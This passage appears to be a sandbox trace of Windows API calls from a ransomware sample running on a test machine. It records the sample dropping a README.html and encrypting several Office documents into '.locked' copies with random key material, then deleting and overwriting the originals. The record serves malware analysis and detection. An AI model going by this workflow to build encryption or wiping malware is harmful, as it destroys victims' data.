	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572cc660, ftCreationTime.dwHighDateTime=0x1d4c19f, ftLastAccessTime.dwLowDateTime=0x14132150, ftLastAccessTime.dwHighDateTime=0x1d4deb2, ftLastWriteTime.dwLowDateTime=0x14132150, ftLastWriteTime.dwHighDateTime=0x1d4deb2, nFileSizeHigh=0x0, nFileSizeLow=0x2612, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7lumiyR5eaK1IBOFo9L.docx", cAlternateFileName="P7LUMI~1.DOC")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc955c60, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x192fee70, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x192fee70, ftLastWriteTime.dwHighDateTime=0x1d4ceae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWBNkQ26WWv", cAlternateFileName="TWBNKQ~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c1b290, ftCreationTime.dwHighDateTime=0x1d52bcd, ftLastAccessTime.dwLowDateTime=0xe6aa8080, ftLastAccessTime.dwHighDateTime=0x1d4eade, ftLastWriteTime.dwLowDateTime=0xe6aa8080, ftLastWriteTime.dwHighDateTime=0x1d4eade, nFileSizeHigh=0x0, nFileSizeLow=0x15df, dwReserved0=0x0, dwReserved1=0x0, cFileName="uddpH51fz2A7yQPy3.docx", cAlternateFileName="UDDPH5~1.DOC")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e44e10, ftCreationTime.dwHighDateTime=0x1d4f2ac, ftLastAccessTime.dwLowDateTime=0xd87c51d0, ftLastAccessTime.dwHighDateTime=0x1d4bdea, ftLastWriteTime.dwLowDateTime=0xd87c51d0, ftLastWriteTime.dwHighDateTime=0x1d4bdea, nFileSizeHigh=0x0, nFileSizeLow=0xea93, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wwb LK3j94MnP6.xlsx", cAlternateFileName="WWBLK3~1.XLS")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac819c10, ftCreationTime.dwHighDateTime=0x1d4e014, ftLastAccessTime.dwLowDateTime=0x7486fd50, ftLastAccessTime.dwHighDateTime=0x1d50431, ftLastWriteTime.dwLowDateTime=0x7486fd50, ftLastWriteTime.dwHighDateTime=0x1d50431, nFileSizeHigh=0x0, nFileSizeLow=0xd31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZWXqn_jC-RcYRb 637vj.pptx", cAlternateFileName="ZWXQN_~1.PPT")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x909007e0, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xad46de20, ftLastAccessTime.dwHighDateTime=0x1d4d13d, ftLastWriteTime.dwLowDateTime=0xad46de20, ftLastWriteTime.dwHighDateTime=0x1d4d13d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zZZC0cmO vW08IPLyF", cAlternateFileName="ZZZC0C~1")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x195b9110, ftCreationTime.dwHighDateTime=0x1d4cce7, ftLastAccessTime.dwLowDateTime=0x8a221f10, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0x8a221f10, ftLastWriteTime.dwHighDateTime=0x1d4ca0b, nFileSizeHigh=0x0, nFileSizeLow=0x52cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="_3edhO843d6n2.pptx", cAlternateFileName="_3EDHO~1.PPT")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.660] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0071.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.661] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0071.661] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0071.662] CloseHandle (hObject=0xc0) returned 1
	[0071.662] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee914*=0x42) returned 1
	[0071.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5264020, ftCreationTime.dwHighDateTime=0x1d4e13d, ftLastAccessTime.dwLowDateTime=0x47c4e950, ftLastAccessTime.dwHighDateTime=0x1d4f45d, ftLastWriteTime.dwLowDateTime=0x47c4e950, ftLastWriteTime.dwHighDateTime=0x1d4f45d, nFileSizeHigh=0x0, nFileSizeLow=0x38aa)) returned 1
	[0071.664] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.664] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.664] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.664] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.665] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c6e0 | out: pbBuffer=0x1238c6e0) returned 1
	[0071.665] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127963b0 | out: pbBuffer=0x127963b0) returned 1
	[0071.665] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0071.665] WriteFile (in: hFile=0xc4, lpBuffer=0x1268d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1268d000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.667] SetEvent (hEvent=0x8c) returned 1
	[0071.667] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x38aa, lpOverlapped=0x0) returned 1
	[0071.668] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x38aa, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x38aa, lpOverlapped=0x0) returned 1
	[0071.669] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.669] CloseHandle (hObject=0xc4) returned 1
	[0071.670] CloseHandle (hObject=0xc0) returned 1
	[0071.670] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0071.670] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.670] SetEvent (hEvent=0x8c) returned 1
	[0071.670] SetEvent (hEvent=0xb4) returned 1
	[0071.670] SetEvent (hEvent=0x80) returned 1
	[0071.670] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.671] SetEvent (hEvent=0x80) returned 1
	[0071.671] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x38) returned 1
	[0071.672] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx")) returned 1
	[0071.691] SetEvent (hEvent=0xb4) returned 1
	[0071.696] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.696] SetEvent (hEvent=0xb4) returned 1
	[0071.696] SetEvent (hEvent=0x80) returned 1
	[0071.696] SetEvent (hEvent=0x8c) returned 1
	[0071.696] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.697] SetEvent (hEvent=0xa8) returned 1
	[0071.697] SetEvent (hEvent=0x8c) returned 1
	[0071.698] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.699] SetEvent (hEvent=0x8c) returned 1
	[0071.699] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.699] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.699] SetEvent (hEvent=0x8c) returned 1
	[0071.699] SetEvent (hEvent=0x80) returned 1
	[0071.699] SetEvent (hEvent=0xb4) returned 1
	[0071.699] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.700] SetEvent (hEvent=0xb4) returned 1
	[0071.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.701] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.701] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.717] CloseHandle (hObject=0xc0) returned 1
	[0071.725] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-i5 zp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-i5 zp.xlsx")) returned 1
	[0071.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3df3160, ftCreationTime.dwHighDateTime=0x1d4d8c3, ftLastAccessTime.dwLowDateTime=0x7e159410, ftLastAccessTime.dwHighDateTime=0x1d4edf9, ftLastWriteTime.dwLowDateTime=0x7e159410, ftLastWriteTime.dwHighDateTime=0x1d4edf9, nFileSizeHigh=0x0, nFileSizeLow=0xd018)) returned 1
	[0071.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.734] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.735] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.735] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0071.735] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0071.735] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0071.735] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.737] SetEvent (hEvent=0x80) returned 1
	[0071.737] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xd018, lpOverlapped=0x0) returned 1
	[0071.739] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xd018, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xd018, lpOverlapped=0x0) returned 1
	[0071.740] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.740] CloseHandle (hObject=0xc4) returned 1
	[0071.742] CloseHandle (hObject=0xc0) returned 1
	[0071.742] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.742] SetEvent (hEvent=0x80) returned 1
	[0071.742] SetEvent (hEvent=0xb4) returned 1
	[0071.742] SetEvent (hEvent=0x8c) returned 1
	[0071.742] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.743] SetEvent (hEvent=0xa8) returned 1
	[0071.743] SetEvent (hEvent=0x8c) returned 1
	[0071.743] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3c) returned 1
	[0071.744] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx")) returned 1
	[0071.762] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.762] SetEvent (hEvent=0xa8) returned 1
	[0071.763] SetEvent (hEvent=0xb4) returned 1
	[0071.767] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.767] SetEvent (hEvent=0xb4) returned 1
	[0071.767] SetEvent (hEvent=0x8c) returned 1
	[0071.767] SetEvent (hEvent=0x80) returned 1
	[0071.767] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.768] SetEvent (hEvent=0x80) returned 1
	[0071.769] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.769] SetEvent (hEvent=0x80) returned 1
	[0071.770] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.770] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.770] SetEvent (hEvent=0x80) returned 1
	[0071.770] SetEvent (hEvent=0x8c) returned 1
	[0071.770] SetEvent (hEvent=0xb4) returned 1
	[0071.770] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.770] SetEvent (hEvent=0xb4) returned 1
	[0071.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.771] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.772] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.788] CloseHandle (hObject=0xc0) returned 1
	[0071.796] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0_T 0gaBQB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0_t 0gabqb.xlsx")) returned 1
	[0071.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2090f870, ftCreationTime.dwHighDateTime=0x1d4f03d, ftLastAccessTime.dwLowDateTime=0xab6b8010, ftLastAccessTime.dwHighDateTime=0x1d4b1d0, ftLastWriteTime.dwLowDateTime=0xab6b8010, ftLastWriteTime.dwHighDateTime=0x1d4b1d0, nFileSizeHigh=0x0, nFileSizeLow=0x1695a)) returned 1
	[0071.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.805] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.806] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.806] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0071.806] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0071.806] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0071.807] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.809] SetEvent (hEvent=0x8c) returned 1
	[0071.809] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x1695a, lpOverlapped=0x0) returned 1
	[0071.811] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1695a, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x1695a, lpOverlapped=0x0) returned 1
	[0071.813] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.813] CloseHandle (hObject=0xc4) returned 1
	[0071.814] CloseHandle (hObject=0xc0) returned 1
	[0071.814] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.815] SetEvent (hEvent=0x8c) returned 1
	[0071.815] SetEvent (hEvent=0xb4) returned 1
	[0071.815] SetEvent (hEvent=0x80) returned 1
	[0071.815] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.815] SetEvent (hEvent=0xa8) returned 1
	[0071.815] SetEvent (hEvent=0x80) returned 1
	[0071.816] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x42) returned 1
	[0071.817] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx")) returned 1
	[0071.835] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.835] SetEvent (hEvent=0xa8) returned 1
	[0071.835] SetEvent (hEvent=0xb4) returned 1
	[0071.840] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.840] SetEvent (hEvent=0xb4) returned 1
	[0071.840] SetEvent (hEvent=0x80) returned 1
	[0071.840] SetEvent (hEvent=0x8c) returned 1
	[0071.840] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.841] SetEvent (hEvent=0x8c) returned 1
	[0071.842] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.842] SetEvent (hEvent=0x8c) returned 1
	[0071.843] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.843] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.843] SetEvent (hEvent=0x8c) returned 1
	[0071.843] SetEvent (hEvent=0x80) returned 1
	[0071.843] SetEvent (hEvent=0xb4) returned 1
	[0071.843] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.843] SetEvent (hEvent=0xb4) returned 1
	[0071.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2I4gmvT9FNn6X2VW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2i4gmvt9fnn6x2vw.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
